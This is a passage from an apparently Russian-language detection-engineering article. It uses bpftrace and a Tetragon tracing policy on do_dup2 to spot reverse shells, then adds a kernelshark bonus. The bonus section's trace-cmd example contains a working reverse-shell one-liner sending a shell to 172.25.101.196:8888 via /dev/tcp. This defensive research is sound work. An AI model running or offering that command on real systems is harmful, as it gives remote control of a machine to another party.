Наш скрипт вызывается при сработке функции do_dup2, получает ее аргументы, приводит их к читаемому виду и выводит пользователю вместе с дополнительной информацией. Из файловой структуры в аргументах мы заберем только тип, чтобы проверить, что туда передается сетевой сокет. Для этого придется немного обработать соответствующее значение поля.
kprobe:do_dup2
{
$f = (struct file *)arg1;
// Get the file type
$inode = $f->f_inode;
$mode = $inode->i_mode;
$type = $mode & 0xF000;
printf("PID: %-6d COMM: %-16s FD: %-3d TYPE: 0x%x ", pid, comm, arg2, $type);
if ($type == 0x8000) { printf("regular file\n"); }
else if ($type == 0x4000) { printf("directory\n"); }
else if ($type == 0xA000) { printf("symlink\n"); }
else if ($type == 0x2000) { printf("char device\n"); }
else if ($type == 0x6000) { printf("block device\n"); }
else if ($type == 0xC000) { printf("socket\n"); }
else if ($type == 0x1000) { printf("pipe\n"); }
else { printf("unknown\n"); }
// Uncomment to see kernel stack trace
//print(kstack);
}
Для запуска необходимо вызвать команду:
bpftrace do_dup2.bt

Теперь мы в удобном виде получаем информацию о дублировании дескрипторов и типе файлов, на которые они ссылаются.
Политика для Tetragon
Теперь, когда мы точно убедились в том, что do_dup2 вернет нужные аргументы, можно переходить к написанию политики для Tetragon.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: "do-dup2"
spec:
kprobes:
- call: "do_dup2"
syscall: false
return: false
args:
- index: 1
type: "file"
label: "source_file"
- index: 2
type: "int"
label: "target_fd"
selectors:
- matchArgs:
- index: 2
operator: "Equal"
values:
- "0" # stdin
где:
kprobes — говорит о том, что мы будем использовать krpobe (есть также возможность использовать tracepoint, uprobe, bpf_lsm);
call — функция, запуск которой начнет сбор телеметрии;
return — определяет, выводить ли возвращаемое значение функции
args — последовательно описываются собираемые аргументы функции, можем указать только те, что нам нужны;
index — порядковый номер аргумента, который принимает функция, начиная с 0;
type — тип аргумента (должен поддерживаться Tetragon);
labеl — человекочитаемое описание аргумента, которое будет выведено в итоговом событии;
selectors — позволяет отфильтровать события по нужным правилам;
matchArgs — означает, фильтрация будет производиться по значениям аргументов функции;
index — указывает на последовательный номер аргумента, начиная с 0, значение которого будет использоваться для сравнения;
operator — оператор сравнения (для аргументов функции может принимать значения equal, notEqual, prefix, postfix, mask);
values – список значений, которые мы ожидаем получить.
Теперь можно загрузить политику в Tetragon и проверить, как она будет отрабатывать. Для этого воспользуемся утилитой tetra, которая предназначена для управления сбором событий от Tetragon.
tetra tracingpolicy add do_dup2.yaml
События будем получать тоже через tetra — для удобства сокращу вывод события только до нужных полей:
tetra getevents --policy-names do-dup2 --include-fields process.binary,function_name,args

Как видите, Tetragon отдал нам событие, содержащее указание на то, что файловый дескриптор дублируется в STDIN (0) в момент запуска реверс-шелла.
Используя полученные данные из Tetragon, мы описываем логику обнаружения в коде небольшой программы-детектора, написанной на go и скомпилированный в формат Wasm. Итоговый детектор загружается в PT CS и при срабатывании подсвечивает аномальную активность, как видно на скриншоте ниже:

В итоге последовательность работы для поиска нужной функции с использованием инструментария и методов, описанных выше, будет выглядеть следующим образом:
С помощью strace изучаем технику атакующего, находим нужные нам системные вызовы.
Иcпользуя ftrace и плагин function_graph, рисуем граф вызова функций, начиная от обнаруженных на первом шаге системных вызовов. Осуществляем поиск функций — кандидатов на роль источника событий.
Выбрав кандидатов, используем elixir для обогащения наших знаний о функции: проверяем ее аргументы и логику, отсеиваем функции, которые не содержат нужных нам данных или являются вспомогательными.
Используя ftrace и плагин function, проверяем, что функция будет вызываться независимо от инструментария, используемого атакующим.
(Необязательный шаг.) Проверяем функцию и значения ее аргументов, используя bpftrace.
Пишем политику для Tetragon, используя всю полученную информацию о функции и ее аргументах. Проверяем полученные от Tetragon события.
Описанный подход не покроет все множество различных ситуаций и нюансов, с которыми придется столкнуться в ходе поиска функций для получения событий об аномальной активности, однако он дает точку входа — с чего можно начать такой поиск. Попробуйте — это хорошо прокачивает знания внутреннего устройства Linux и в целом затягивает :)
Заключение
Я не системный программист, и в свое время мне было довольно непросто разобраться в особенностях работы ядра, чтобы найти нужную функцию для получения качественной телеметрии. Несмотря на то что eBPF получил большую популярность, сильно не хватало материала, который продемонстрирует доступные инструменты и подходы к поиску необходимых функций ядра. Поэтому надеюсь, что моя статья хоть немного поможет таким же начинающим исследователям, каким был я. Удачной охоты!
Бонус — kernelshark
Для того чтобы работать с графом, можно использовать обычный текстовый редактор, но есть альтернатива — kernelshark.
trace-cmd позволяет записывать вывод трассировки в файл trace.dat. kernelshark может читать и визуализировать этот файл, а также позволяет применять фильтры и частично управлять самой трассировкой.
Файл можно создать, выгрузив собранную с помощью команды trace-cmd start трассировку:
trace-cmd extract
Кроме того, в файл trace.dat можно записывать трассировку с помощью ключа record.
trace-cmd record -p function_graph -g __x64_sys_dup2 -c -F sh -i >& /dev/tcp/172.25.101.196/8888 0>&1
Файл будет создан в текущей директории. Для визуализации просто запускаем kernelshark без аргументов в той же директории, где лежит файл trace.dat. В итоге получим примерно такую картинку:

Лично я не нашел применения этому инструменту в своей работе — мне достаточно текстовой версии, но, возможно, кому-то пригодится.
kernelshark работает только на Linux, так что, если запускаете на Windows, придется озаботиться настройкой сервера X11.